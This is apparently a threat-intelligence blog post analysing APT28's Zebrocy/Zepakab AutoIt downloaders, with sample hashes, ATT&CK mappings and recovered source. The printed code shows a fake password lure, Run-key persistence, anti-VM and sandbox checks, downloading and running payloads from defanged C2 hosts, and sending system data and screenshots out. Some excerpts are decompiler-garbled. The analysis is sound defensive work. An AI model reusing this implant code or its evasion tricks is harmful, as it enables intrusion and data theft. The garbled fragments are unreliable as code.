Goal: Reverse engineer and analyze the APT28 Zebrocy/Zepakab AutoIt downloader implant, focusing on extracted AutoIt source code level analysis.
Source:
Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) MD5: d6751b148461e0f863548be84020b879 Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) MD5: 311f24eb2dda26c26f572c727a25503b Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled) MD5: 7b1974e61795e84b6aacf33571320c2a Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled) MD5: c2e1f2cf18ca987ebb3e8f4c09a4ef7e Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) MD5: ec57bb4980ea0190f4ad05d0ea9c9447
Outline:
I. Background & Executive Summary II. APT28 Zebrocy/Zepakab AutoIt Script Extraction III. Zebrocy/Zepakab AutoIt Deeper Dive A. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) 1. "_gapi_tcpsendfile()" Function B. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) 1. "_giga()" Function 2. "_infosystemservice()" Function 3. "_mv()" Function 4. "_sofware()" Function C. Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled) 1. "_getscreen()" Function 2. "_sendpost()" Function D. Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled) 1. "parsestring()" and "parsefile()" Functions E. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) IV. Yara Signature
I. Background & Executive Summary
The APT28 group continues to be developing and leveraging Zebrocy/Zepakab downloader implants. Here, I decided to recover and dissect its AutoIt scripts from its executable. APT28 is also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, and Sednit.
The malware downloaders are simple AutoIt compiled scripts with the added icons and are occasionally packed with UPX.
The Zebrocy/Zepakab Autoit downloader implants are simple and reminiscent of the other version coded in Golang, C++, and Delphi.
Malware analysis reveals the later usage of the hex-encoding functions to obfuscate certain strings within the APT28 malware.
APT28 Autoit downloaders rely on WinHTTP DLL library for clientserver communications. The reviewed older samples were compiled with Autoit for the 32-bit version, while the more recent ones were for the 64-bit one.
The downloaders simply create a fake GUI application mimicking Microsoft Word or PDF application with the fake message indicating password-protected documents to make Autoit icon is not visible with the (“TrayIconHide”, 1) argument. In the later versions of this malware, the developer(s) also decided to obfuscate this string with hex-encoding presumably to avoid static detection on hidden Window AutoIt scripts.
Notably, on one occasion, the developer referenced the Microsoft Word document icon path from the machine as “C:\works\old_progs\download\icons\DOC.ico.” The malware downloaders’ version information includes the English-language locale and LCID code of “2057”, which is a code page for English, Great Britain language code.
One of the earlier downloader malware oddities includes a check for the software titled “Lamer.exe” as well with the VirtualBox related processes (“vmacthlp.exe”, “vmtoolsd.exe”, “vmusrvc.exe”), parallel desktop software processes (“prl_cc.exe”, “prl_tools.exe”, “SharedIntApp.exe”).
Update (2019-01-22): The newly observed Zebrocy AutoIt sample contained the timestamp compilation date of Wednesday, January 16 06:10:59 2019 UTC introducing a Windows Management Instrumentation (WMI) host profiling method along with the odd name of execution function name of “crocodile().” Most importantly, the newer sample introduced the Base64-based encoding with the padded “F” (until 5) on the reverse length of Base64 data blob and appended to the “img=” URI with the HTTPS server communication.
The malware servers appear to be have been located at the following Autonomous System Number (ASN):
AS49544 Qhoster AS201011 Core-Backbone AS29073 QuasiNetworks AS9009 M247
The APT28 Autoit downloader execution can be tied to the following ATT&CK Enterprise Attack – Attack Pattern framework:
+ Command-Line Interface - T1059 + Scripting - T1064 + Registry Run Keys / Start Folder - T1060 + System Information Discovery - T1082 + Windows Management Instrumentation - T1047 + Exfiltration Over Command and Control Channel - T1041 + Standard Application Layer Protocol - T1071 + Data Encoding - T1132
I have uploaded the decoded APT28 AutoIt scripts along with the MISP JSON and CSV indicators of compromise (IOC) extractions for further analysis and mitigation on GitHub at k-vitali/apt28_zebrocy_autoit_resource.
II. APT28 Zebrocy/Zepakab AutoIt Script Extraction
One of the possible interesting challenges includes the decompilation of x64-bit compiled AutoIT samples.
One way you can tell if it is an AutoIt-compiled malware is through examining the resource section “RCData” for “SCRIPT” namespace with AU3 header.
Routinely, simple Exe2Au worked to retrieve the 32-bit version extracted AutoIt scripts, while the 64-bit required a small trick of recovering payloads via ResourceHacker (since Exe2Au does not support 64-bit versions), compiling them as .au3 scripts to the executable on a 32-bit machine, and then extracting them back via Exe2Au toolset. A similar method is referenced by @hexacorn here.
The steps are as follows:
1. Open the binary in Process Hacker and save the RCData ‘SCRIPT’ AU3 resource as binary and rename ending in .au3.
2. Open Aut2Exe v3 and set them as source AutoIt .au3 and create a new executable, then extract the AutoIt script via “Exe2Aut.”
III. Zebrocy/Zepakab AutoIt Deeper Dive
A. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) (Mon Jan 25 06:27:36 2016)
The sample timestamp shows compilation timestamp of Monday, January 25, 06:27:36 2016 UTC with the version language code set to English, Great Britain. The sample leverages AutoIT GUI API (with hidden Tray Icon) and installs as “srvsml.exe” in “%APPDATA%\Microsoft\Network\SupportAssistanse”. Additionally, it sets up persistence in “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” as “srvmcc.exe”. It also writes “0x110101” to “Software” key in “HKEY_CURRENT_USER\Software\Microsoft\ActiveAssistance”.
The notable addition includes the developer path to
as “C:\works\old_progs\download\icons\DOC.ico” as well as setting time for the installed payloads modification time to “20131402.” It is also notable that the malware coder does not follow normal AutoIT FileSetTime conventions YYYYMMDD setting potential month outside of the 12-month range. It is possible that it could be a developer mistake or misinterpreted month and day order (or European style).
Additionally, this malware includes anti-Virtual Machine (process blacklist) logic.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy 2 AutoIT Main Excerpt ;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; $ms_word = GUICreate("Password ", 311, 86, -1, -1, BitOR($ws_caption, $ws_popup, $ws_sysmenu), $ws_ex_dlgmodalframe) GUISetIcon("C:\works\old_progs\download\icons\DOC.ico", -1) $input1 = GUICtrlCreateInput("", 8, 16, 297, 21, BitOR($gui_ss_default_input, $es_password)) $button1 = GUICtrlCreateButton("OK", 120, 48, 83, 25) $button2 = GUICtrlCreateButton("Cancel", 216, 48, 83, 25) Opt("TrayIconHide", 1) $runex = "\srvsml.exe" $aar = ProcessList() _vm($aar) $f = FileExists(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex) If $f = 0 Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\ActiveAssistance", "Software", "REG_SZ", "0x110101") $hopen = _winhttpopen() $hconnect = _winhttpconnect($hopen, "hxxp://80[.]255[.]6[.]5/") $hrequest = _winhttpsimplesendrequest($hconnect, Default, "/daily-update-certifaicates52735462534234/update-15.dat") $data = _winhttpsimplereaddata($hrequest) RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "MSCertificates", "REG_SZ", @TempDir & "\srvmcc.exe") $hfileonce = FileOpen(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex, 2 + 16 + 8) FileWrite($hfileonce, $data) FileClose($hfileonce) $hfile = FileOpen(@TempDir & $runex, 2 + 16) FileWrite($hfile, $data) FileClose($hfile) _winhttpclosehandle($hrequest) _winhttpclosehandle($hconnect) _winhttpclosehandle($hopen) FileSetTime(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex, "20131402", 1) FileSetTime(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex, "20131402") Run(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex) $name = _getname() $aar = ProcessList() $name_send = $name & "-" & @MON & "-" & @MDAY & ".tmp" $msg = _arraytostring($aar) Dim $ains _computergetsoftware($ains) $ainsmsg = _arraytostring($ains) $msg = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @MIN & "-" & @SEC & @CRLF & $msg & "===========================" & @CRLF & "===========================" & @CRLF & $ainsmsg $data = _gapi_tcpsendfile("80[.]255[.]6[.]5", "/LoG-statistic8397420934809/date-update9048353094c/StaticIpUpdateLog23741033.php", $name_send, $msg) EndIf GUISetState(@SW_SHOW) While 1 $nmsg = GUIGetMsg() Switch $nmsg Case $gui_event_close Exit Case $button1 MsgBox(64, "Error", "Corrupt or Wrong Password!") ContinueLoop Case $button2 Exit EndSwitch WEnd
1. “_gapi_tcpsendfile()” Function
The malware TCP AutoIT library to send and retrieve files leveraging TCPStartup, TCPNameToIP, TCPTimeout, TCPConnect, TCPSend, TCPRecv, and TCPShutdown.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy 2 AutoIT "_gapi_tcpsendfile" ;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Func _gapi_tcpsendfile($host, $hrv, $file, $msg) $sparametrs = "-----------------------------7dd177a260412" & @CRLF $sparametrs &= 'Content-Disposition: form-data; name="/Content/Files/"' & @CRLF $sparametrs &= @CRLF $sparametrs &= "./" & @CRLF $sparametrs &= "-----------------------------7dd177a260412" & @CRLF $sparametrs &= 'Content-Disposition: form-data; filename="' & $file & '"' & @CRLF $sparametrs &= "Content-Type: " & $file & @CRLF $sparametrs &= @CRLF $sparametrs &= $msg & @CRLF $sparametrs &= "-----------------------------7dd177a260412--" & @CRLF Local $srequest = "POST /" & $hrv & " HTTP/1.1" & @CRLF $srequest &= "Content-Type: multipart/form-data; boundary=---------------------------7dd177a260412" & @CRLF $srequest &= "Host: " & $host & @CRLF $srequest &= "Content-Length: " & StringLen($sparametrs) & @CRLF $srequest &= "Cache-Control: no-cache" & @CRLF $srequest &= @CRLF $srequest &= $sparametrs If TCPStartup() == 0 Then Return -1 Local $sip = TCPNameToIP($host) If @error Then Return -2 Opt("TCPTimeout", 1000) Local $nmaxtimeout = 30 Local $isocket, $ierror While 1 $isocket = TCPConnect($sip, "80") If @error = 10060 Then $nmaxtimeout -= 1 If $nmaxtimeout < 0 Then Return False EndIf ContinueLoop ElseIf @error Then $ierror = @error Return False Else ExitLoop EndIf WEnd $i = 0 TCPSend($isocket, $srequest) Local $sdata = "", $itimer = TimerInit(), $timewait = ((1000 * (StringLen($srequest) / 1024)) + 30000) Do $sbuffer = TCPRecv($isocket, 2048, 1) $ierror = @error If $sbuffer Then $sbuffer = BinaryToString($sbuffer) $sdata &= $sbuffer $timewait = 2000 $itimer = TimerInit() EndIf Until $ierror 0 OR TimerDiff($itimer) > $timewait TCPShutdown() Return $sdata EndFunc
B. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) (Mon May 11 19:06:01 2016)
The sample timestamp shows compilation timestamp of Monday, May 11 19:06:01 2016 UTC. The sample installs in %APPDATA%\Microsoft\Internet Explorer\Quick Launch\ as “srvcron.exe” with the hidden icon as the fake Microsoft Word application.
The list of all relevant functions follows:
_giga() _infosystemservice() _mv() _sofware()
The relevant main function is below.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;; Zepakab/Zebrocy AutoIT Setup Excerpt ;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Global Const $es_password = 32 Global Const $gui_ss_default_input = 128 Global Const $gui_event_close = -3 Global Const $ws_sysmenu = 524288 Global Const $ws_caption = 12582912 Global Const $ws_popup = -2147483648 Global Const $ws_ex_dlgmodalframe = 1 If NOT (IsDeclared("$cI_CompName")) Then EndIf Opt("TrayIconHide", 1) $ms_word = GUICreate("Password", 311, 86, -1, -1, BitOR($ws_caption, $ws_popup, $ws_sysmenu), $ws_ex_dlgmodalframe) $input1 = GUICtrlCreateInput("", 8, 16, 297, 21, BitOR($gui_ss_default_input, $es_password)) $ok = GUICtrlCreateButton("OK", 120, 48, 83, 25) $cancel = GUICtrlCreateButton("Cancel", 216, 48, 83, 25) Global $sname = _mv() $sexname = "srvcron.exe" $exist = FileExists(@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" & $sexname) GUISetState(@SW_SHOW) OnAutoItExitRegister("_Giga") While 1 $nmsg = GUIGetMsg() Switch $nmsg Case $gui_event_close GUIDelete($ms_word) _infosystemservice ("hxxp://194[.]187[.]249[.]126", "/security-services-DMHA-group/info-update-version/id77820082.php", $sname & "__" & @MON & @MDAY & @MIN & ".tmp", _sofware()) Sleep(3000) ExitLoop Case $ok MsgBox(64, "Open file error!", "The password is incorrect. Cannot open the document!") GUIDelete($ms_word) _infosystemservice ("hxxp://194[.]187[.]249[.]126", "/security-services-DMHA-group/info-update-version/id77820082.php", $sname & "__" & @MON & @MDAY & @MIN & ".tmp", _sofware()) Sleep(3000) ExitLoop Case $cancel GUIDelete($ms_word) _infosystemservice ("hxxp://194[.]187[.]249[.]126", "/security-services-DMHA-group/info-update-version/id77820082.php", $sname & "__" & @MON & @MDAY & @MIN & ".tmp", _sofware()) Sleep(3000) ExitLoop EndSwitch WEnd
a. “_giga()” Function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_giga" Function ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Func _giga() $hopen = _winhttpopen() $hconnect = _winhttpconnect($hopen, "hxxp://194[.]187[.]249[.]126/") $hrequest = _winhttpsimplesendrequest($hconnect, Default, "/security-services-DMHA-group/id-pid919/1SQL5-5database-update/release-554211/updater-service.dat") $data = _winhttpsimplereaddata($hrequest) $hfileonce = FileOpen(@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" & $sexname, 2 + 16 + 8) FileWrite($hfileonce, $data) FileClose($hfileonce) $hfile = FileOpen(@TempDir & "\srvlcass.exe", 2 + 16) FileWrite($hfile, $data) FileClose($hfile) _winhttpclosehandle($hrequest) _winhttpclosehandle($hconnect) _winhttpclosehandle($hopen) Run(@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" & $sexname) RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Drivers",_ "DriverID", "REG_SZ", "11x00110011") RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce", "IESecurity", "REG_SZ", @TempDir & "\srvlcass.exe") EndFunc
2. “_infosystemservice()” Function
The _infosystemservice() function simply passes the collected information to the server on the “info=” parameter with “.tmp&statistic=” data parameters
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_infosystemservice" Function ;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Func _infosystemservice($host, $hrv, $name, $data_s) $url = $host & $hrv $ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1") $ohttp.open("POST", $url) $ohttp.setrequestheader("Content-Type", "application/x-www-form-urlencoded") $adata = "info=" & $name & ".tmp&statistic=" & $data_s $ohttp.send($adata) $ohttp.waitforresponse $response = $ohttp.responsetext Return $response EndFunc
3. “_mv()” Function
It is probably one of the more interesting Zebrocy/Zepakab downloader implant functions searching for a virtual machine and parallel desktop software along with the mystical “Lamer.exe.” Additionally, beyond the bot ID creation via “cmd.exe /U / VOL”, the malware searches for the following blacklisted hex-encoded bot ID with Volume Serial Number with first four left ComputerName characters in hex with the following values:
CC078550 414E544F // ANTO (ANTONY-PC) -> Kaspersky 0CE74E66 41444D49 // ADMI (ADMIN-PC) -> Comodo 64F3BF1F 54515564 // TQUd -> N/A 64F3BF1F 61776F64 // awod -> N/A 88FDB972 524F4745 // ROGE (ROGER-PC) -> Avira, Kaspersky, Comodo B8EB467E 5657494E // VWIN -> N/A D4BC89F6 57494E37 // WIN7 -> N/A E00458AD 4245412D // BEA- -> N/A
These values represent known Virtual machines and/or sandboxes as identified by APT28 developers. I was able to crossreference of few of these as they were disclosed and discussed in the paper “The Adventures of AV and the Leaky Sandbox” by Amit and Itzik Kotler. The malware will execute if it detects either blacklisted process or the machine fingerprint (serial number + hex(computer name)) matches known sandboxes. Few of the sandboxes appear to belong Avira, Comodo, and Kaspersky.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_mv" Function ;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Func _mv() Dim $ssearch[11] $ssearch[10] = "Lamer.exe" $ssearch[1] = "vmacthlp.exe" $ssearch[2] = "vmacthlp.exe" $ssearch[3] = "vmtoolsd.exe" $ssearch[4] = "VBoxTray.exe" $ssearch[5] = "VBoxService.exe" $ssearch[6] = "prl_cc.exe" $ssearch[7] = "prl_tools.exe" $ssearch[8] = "SharedIntApp.exe" $ssearch[9] = "vmusrvc.exe" $ssearch[2] = "vmsrvc.exe" $ssearch[0] = UBound($ssearch) For $i = 1 To $ssearch[0] - 1 $iindex = _arraysearch(ProcessList(), $ssearch[$i], 0, 0, 0, 1, 0, 0) If $iindex -1 Then Exit EndIf Next Local $id, $soutput = "" $id = Run(@ComSpec & " /U /C VOL ", "", @SW_HIDE, $stderr_child + $stdout_child) While 1 $soutput &= StdoutRead($id, False, False) If @error Then ExitLoop EndIf Sleep(10) WEnd $soutput = BinaryToString($soutput, 2) $aout = StringRegExp($soutput, "[A-Z0-9]{4}-[A-Z0-9]{4}", 1) $aout[0] = StringReplace($aout[0], "-", "") $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), "CC078550414E544F", 0) If $kor = 1 Then Exit $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), "0CE74E6641444D49", 0) If $kor = 1 Then Exit $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), "64F3BF1F54515564", 0) If $kor = 1 Then Exit $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), "64F3BF1F61776F64", 0) If $kor = 1 Then Exit $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), "88FDB972524F4745", 0) If $kor = 1 Then Exit $kor = StringRegExp($aout[0] & _stringtohex_(StringLeft(@ComputerName, 4)), "B8EB467E5657494E", 0) If $kor = 1 Then Exit $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), "D4BC89F657494E37", 0) If $kor = 1 Then Exit $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), "E00458AD4245412D", 0) If $kor = 1 Then Exit Return $aout[0] & _stringtohex(StringLeft(@ComputerName, 4)) EndFunc
4. “_sofware()” Function
The _sofware function parses for installed software walking through registry Uninstall key for “DisplayName”. It collects drive information (label and space), retrieves system information via cmd “systeminfo” output, and retrieves and concatenates processes into the system information.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_sofware" Function ;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Func _sofware() Local Const $reggetkey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" Local $i = 1 Local $asoft $asoft = " --------Software-------" & @CRLF & @CRLF & @CRLF While 1 $appkey = RegEnumKey($reggetkey, $i) If @error 0 Then ExitLoop $asoftstingtemp = StringStripWS(RegRead ($reggetkey & "\" & $appkey, "DisplayName"), 3) $asoft = $asoft & $asoftstingtemp & @CRLF $i += 1 WEnd $sys_info = " --------System info-------" & @CRLF $sys_info = $sys_info & "TempDir: " & @TempDir & @CRLF $_getddive = DriveGetDrive("ALL") $sys_info = $sys_info & "Program start: " & @ScriptDir & "\" & @ScriptName & @CRLF & @CRLF & @CRLF For $dd = 1 To $_getddive[0] $sys_info = $sys_info & "Name : " & $_getddive[$dd] & " La" & "bel: " $sys_info = $sys_info & DriveGetLabel($_getddive[$dd] & "\") & " FR" & "EE : " & DriveSpaceFree($_getddive[$dd] & "\") & @CRLF Next $sys_info_w_system_info = "" $sys_info_w_system_info = " --------Windows system info-------" & @CRLF $w_system_info = _getdosoutput("systeminfo") $sys_info_w_system_info = $sys_info_w_system_info & $w_system_info & @CRLF & @CRLF & @CRLF $sys_info_sprocesslist = "" $sys_info_sprocesslist = " --------Processes-------" & @CRLF $aprocesslist = ProcessList() $sprocesslist = _arraytostring($aprocesslist, " ") $sys_info_sprocesslist = $sys_info_sprocesslist & $sprocesslist & @CRLF & @CRLF & @CRLF Return $sys_info_sprocesslist & $asoft & $sys_info & $sys_info_w_system_info EndFunc
C. Zebrocy/Zepakab Downloader Implant (32-Bit for 64-bit Autoit Compiled) (Thu Feb 15 04:16:27 2018)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy 3 AutoIT Main Excerpt ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; main() ("JKSHDKG") (48, "Microsoft PowerPoint", "PowerPoint can't read the outline from " & (@ScriptFullPath, ".exe", ".pptx") & " . No text converter is installed for this file type.") ("iecslss.exe") 0535 $getsnd = getsnd() $systeminformation = getsysinfo() ; hxxp://220[.]158[.]216[.]127/search-sys-update-release/base-sync/db7749sc.php $surl = _hextostring ("687474703A2F2F3232302E3135382E3231362E3132372F7365617263682D7379732D7570646174652D72656C656173652F626173652D73796E632F64623737343973632E706870") $screen = _get_screen() $data = _sendpost($surl, $systeminformation, $screen, $getsnd) _savetofile($data) main()
1. “_getscreen()” Function
The malware saves the desktop screenshot to “%TEMP%\GDIPlus_Image1.jpg” via the following function:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;; Zepakab "_getscreen" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Func _get_screen() ; "\GDIPlus_Image1.jpg" _screencapture_capture(@TempDir & _hextostring("5C474449506C75735F496D616765312E6A7067")) $text = (@TempDir & _hextostring("5C474449506C75735F496D616765312E6A7067")) (@TempDir & _hextostring("5C474449506C75735F496D616765312E6A7067")) _stringtohex($text)
EndFunc
2. “_sendpost()” Function
Finally, the malware sends the collected information to the server via decoding hex-encoding URI parameters and WinHTTP header values.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;; Zebrocy/Zepakab "_sendpost" Function ;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; _sendpost($surl, $sysinfo, $screen, $getsnd) $i = 0 ; dbgate= &sysinfo & &win32= & $screen $spd = _hextostring("6462676174653D") & $sysinfo & _hextostring("2677696E33323D") & $screen $ohttp = ("winhttp.winhttprequest.5.1") ; POST $surl & ?next= & $getsnd $ohttp.open(_hextostring("504F5354"), $surl & _hextostring("3F6E6578743D") & $getsnd, 40) ; Content-Type application/x-www-form-urlencoded $ohttp.setrequestheader(_hextostring("436F6E74656E742D54797065"), _hextostring("6170706C69636174696F6E2F782D7777772D666F726D2D75726C656E636F646564")) $ohttp.send($spd) $oreceived = $ohttp.responsetext $ostatuscode = $ohttp.status $ostatuscode = 2005 ($oreceived) $i = $i + 1 $i = 10518
D. Zebrocy/Zepakab Downloader Implant (32-Bit for 64-bit Autoit Compiled) (Wed Sep 05 01:23:45 2018)
The sample timestamp shows compilation timestamp of Wednesday, September 05 01:23:45 2018 UTC with the version language codepage set to English, Great Britain. The malware version describes itself as “Program Compatibility Assistant” impersonating Microsoft, Inc. The Zebrocy/Zepakab leverages AutoIT GUI API continues to leverages hex-encoding to obfuscate its values.
The main “checkupdate()” function is used to communicate with the server on HTTPS.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;; Zepakab "checkupdate" ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; checkupdate() ; rcd= $postdata = _hextostring("7263643D") & _postdate() ; https://145.249.106.198/ $host = _hextostring("68747470733A2F2F3134352E3234392E3130362E3139382F0D0A") ; client/en/community/supportcli.php $uri = _hextostring("636C69656E742F656E2F636F6D6D756E6974792F737570706F7274636C692E706870") ; Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 $hopen = _winhttpopen(_hextostring("4D6F7A696C6C612F352E30202857696E646F7773204E5420362E313B20574F5736343B2072763A32352E3029204765636B6F2F32303130303130312046697265666F782F32352E30")) $hconnect = _winhttpconnect($hopen, $host) ; POST $sreturned = _winhttpsimplesslrequest($hconnect, _hextostring("504F5354"), $uri, 41, $postdata, 41, 41, 41, 41, 41, 1) _winhttpclosehandle($hconnect) _winhttpclosehandle($hopen) parsefile($sreturned) (20000) checkupdate()
1. “parsestring()” and “parsefile()” Functions
The Zebrocy/Zepakab malware leverages parse for information and delay walking through directories hex-decoding to $path.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;; Zepakab main excerpt ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; parsestring($path) $delay = 20000 ;%[1-5]% $path = ($path, _hextostring("253125"), @AppDataCommonDir) $path = ($path, _hextostring("253225"), @AppDataDir) $path = ($path, _hextostring("253325"), @LOCALAPPDATADIR) $path = ($path, _hextostring("253425"), @StartupDir) $path = ($path, _hextostring("253525"), @SystemDir) $path parsefile($data) $delay = (3, 7) * 62000 $ares = ($data, @CRLF) @error = 15 ($delay)
E. Zebrocy/Zepakab Downloader Implant (32-Bit for 32-bit AutoIt Compiled) (Wed Jan 16 12:10:59 2019)
[IMAGE_FILE_HEADER] 0x114 0x0 Machine: 0x14C 0x116 0x2 NumberOfSections: 0x3 0x118 0x4 TimeDateStamp: 0x5C3F1F53 [Wed Jan 16 12:10:59 2019 UTC] 0x11C 0x8 PointerToSymbolTable: 0x0 0x120 0xC NumberOfSymbols: 0x0 0x124 0x10 SizeOfOptionalHeader: 0xE0 0x126 0x12 Characteristics: 0x122 Flags: IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LARGE_ADDRESS_AWARE
The malware flow excerpt is as follows setting the downloader as “srhost.exe”.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;; Zebrocy/Zepakab main flow excerpt ;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Opt("trayiconhide", 1) $uri = "locale/protocol/volume.php" $host = "hxxps://185[.]236[.]203[.]53/" $call = True $fp = "c:\ProgramData\Windows\Microsoft\Settings\srhost.exe" $copybaras = "" $argv = argv() main()
The malware contained the following main functions:
